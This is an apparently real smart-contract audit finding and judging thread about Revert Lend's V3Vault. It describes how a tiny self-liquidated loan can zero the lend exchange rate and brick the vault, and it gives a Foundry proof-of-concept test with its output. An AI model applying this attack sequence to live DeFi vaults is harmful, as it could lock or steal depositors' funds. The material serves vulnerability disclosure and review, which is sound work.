Lend exchange rate can become zero, effectively bricking the vault

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1137

Vulnerability details

Impact

The function _handleReserveLiquidation will attempt to use lender deposits to socialize the costs of any bad debt that the protocol can incur, if there is not sufficient reserves left.

The function does this by updating the share/asset conversion rate for the lenders:

newLendExchangeRateX96 = (totalLent - missing) * newLendExchangeRateX96 / totalLent;

Here, missing is the amount that cannot be covered from the reserves. If missing is exactly equal to totalLent, then the new exchange will become zero.

The exchange rate is updated only in this function and in _calculateGlobalInterest. The latter computes the new exchange rate as a function of the old, via old + old * k computation, so once the rate becomes zero, it can never become anything else again. Zero exchange rate will effectively prevent any futher deposits to the vault, as well as any other operations.

An attacker can attemp to force this situation to occur by exploiting rouding errors. For example, they can deposit a Uniswap v3 positin worth 3 wei as a collateral and borrow 2 wei. If the price of the collateral drops sufficiently (more than 1/3) they can self-liquidate the loan, forcing the newLendExchangeRateX96 to become zero.

It is possible a similar attack could also be used to force newLendExchangeRateX96 to become a very small positive number. Then the vault would become vulnerable to share inflation attack, allowing the attacker to steal from subsequent depositors.

Proof of Concept

function testLiquidationFromReservesPoC() external {
    // -- setup -- NOT part of the attack!

    // ignore Uniswap pool price in liquidations
    // (the PoC simulates only changes in Chainlink price, for simplicity)
    oracle.setMaxPoolPriceDifference(10001);

    // found this example v3 position on the mainnet
    address NFT_ACCOUNT = 0x9A8dEF1275E081c444d97710bbA164C11a578C5A;
    uint256 NFT_3 = 1433; // DAI/WETH 0.3%

    // the real-world value of the example NFT position is quite big
    // we want to reduce the value lot, to simulate an attacker that  very small v3 position
    // it's actual value is >420 USD, but we want to get it down to a ~0.000003 USD
    uint256 fullValue;
    (fullValue,,,) = oracle.getValue(NFT_3, vault.asset());
    console.log("initial v3 pos value:  ", fullValue);
    _changePrice(CHAINLINK_DAI_USD, 0, 1);
    _changePrice(CHAINLINK_ETH_USD, 908, 100_000_000_000);
    (fullValue,,,) = oracle.getValue(NFT_3, vault.asset());
    console.log("updated  v3 pos value: ", fullValue);

    // -- Attack starts here

    // deposit small amount to borrow
    _deposit(2 wei, WHALE_ACCOUNT);
    // add the small position as a collateral
    vm.startPrank(NFT_ACCOUNT);
    NPM.approve(address(vault), NFT_3);
    vault.create(NFT_3, NFT_ACCOUNT);
    vault.borrow(NFT_3, 2 wei);
    vm.stopPrank();

    // simulate 34% price drop in ETH price
    // (could be natural -- just wait for a while --, or could "helped" by the attacker)
    _changePrice(CHAINLINK_ETH_USD, 66, 100);

    // attacker (or someone else) can liquidate the position now
    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), type(uint256).max);
    _printVaultInfo("before liquidation");
    vault.liquidate(IVault.LiquidateParams(NFT_3, vault.loans(NFT_3), 0, 0, WHALE_ACCOUNT, ""));
    _printVaultInfo("after liquidation");
    vm.stopPrank();

    // the vault is not usable anymore
    vm.expectRevert();
    vm.prank(WHALE_ACCOUNT);
    vault.deposit(1e6, WHALE_ACCOUNT);
}

function _printVaultInfo(string memory message) internal {
    uint256 debt;
    uint256 lent;
    uint256 balance;
    uint256 available;
    uint256 reserves;
    uint256 debtRate;
    uint256 lendRate;

    (debt, lent, balance, available, reserves, debtRate, lendRate) = vault.vaultInfo();
    console.log(message);
    console.log("debt   =", debt);
    console.log("lent   =", lent);
    console.log("balance=", balance);
    console.log("availbl=", available);
    console.log("reserve=", reserves);
    console.log("debtRate=", debtRate);
    console.log("lendRate=", lendRate);
    console.log("\n");
}

// simulate collateral value change
function _changePrice(address interfaceAddr, int256 factor, int256 divider) internal {
    (uint80 roundId, int256 answer,,,uint80 answeredInRound) = AggregatorV3Interface(interfaceAddr).latestRoundData();

    int256 newAnswer = answer * factor / divider;

    vm.mockCall(
            interfaceAddr,
            abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
            abi.encode(roundId, newAnswer, block.timestamp, block.timestamp, answeredInRound));
}

Output:

[PASS] testLiquidationFromReservesPoC() (gas: 983096)
Logs:
  initial v3 pos value:   420040276
  updated  v3 pos value:  3
  before liquidation
  debt   = 2
  lent   = 2
  balance= 0
  availbl= 0
  reserve= 0
  debtRate= 79228162514264337593543950336
  lendRate= 79228162514264337593543950336

  after liquidation
  debt   = 0
  lent   = 0
  balance= 0
  availbl= 0
  reserve= 0
  debtRate= 79228162514264337593543950336
  lendRate= 0

Tools Used

Manual review

Recommended Mitigation Steps

Revert liquidations if they would result in zero or very small value of newLendExchangeRateX96.

Assessed type

Other

[c4-pre-sort]

0xEVom marked the issue as sufficient quality report

[c4-pre-sort]

0xEVom marked the issue as primary issue

[0xEVom]

Likely low severity as non-zero minLoanSize also protects from this and the attacker needs to hold a loan against all collateral in the vault for an extended period of time.

[kalinbas]

• minLoanSize will be set to a value > 0
• builtin growth protection doesn't allow new loans to be much bigger than existing loans (so it is not possible to create huge loans and forcing them to be liquidated 100% underwater, also because of only high-liquidity tokens involved)
• if a liquidation would lead to newLendExchangeRateX96 == 0, this means all lent assets are lost and this means the protocol is dead anyways

[c4-sponsor]

kalinbas (sponsor) acknowledged

[c4-sponsor]

kalinbas marked the issue as disagree with severity

[kalinbas]

Low severity

[jhsagd76]

A very valuable exploitation path, but the conditions are too fringe. We can assume for argument's sake that minLoanSize = 0 is possible, but it is unlikely to reach the condition where the asset falls by 34% in an initialization scenario.

I am inclined to keep it at M. However, the impact of a DOS on such an initialized vault is insufficient, so I am temporarily marking it as low. I hope the warden can submit a PoC related to an inflationary attack, such as using inflation to manipulate the rate and steal loan asset.

[c4-judge]

jhsagd76 changed the severity to QA (Quality Assurance)

[c4-judge]

jhsagd76 marked the issue as grade-a

[jhsagd76]

Planning to upgrade to M, due to the potential inflation attack during the vault cold start phase, seeking the sponsor's opinion.

[kalinbas]

I see that an attacker being the only borrower with a very small position for a certain amount of time (the collateral has to change value in this time significantly) could in theory cause the position to be underwater and then cause the lendExchangeRateX96 to become a small number. But if its a very small position, there will be other positions. So in theory i agree with the attack, but it is not practical. Thats why we acknowlegde it.

[kalinbas]

But would call it a low risk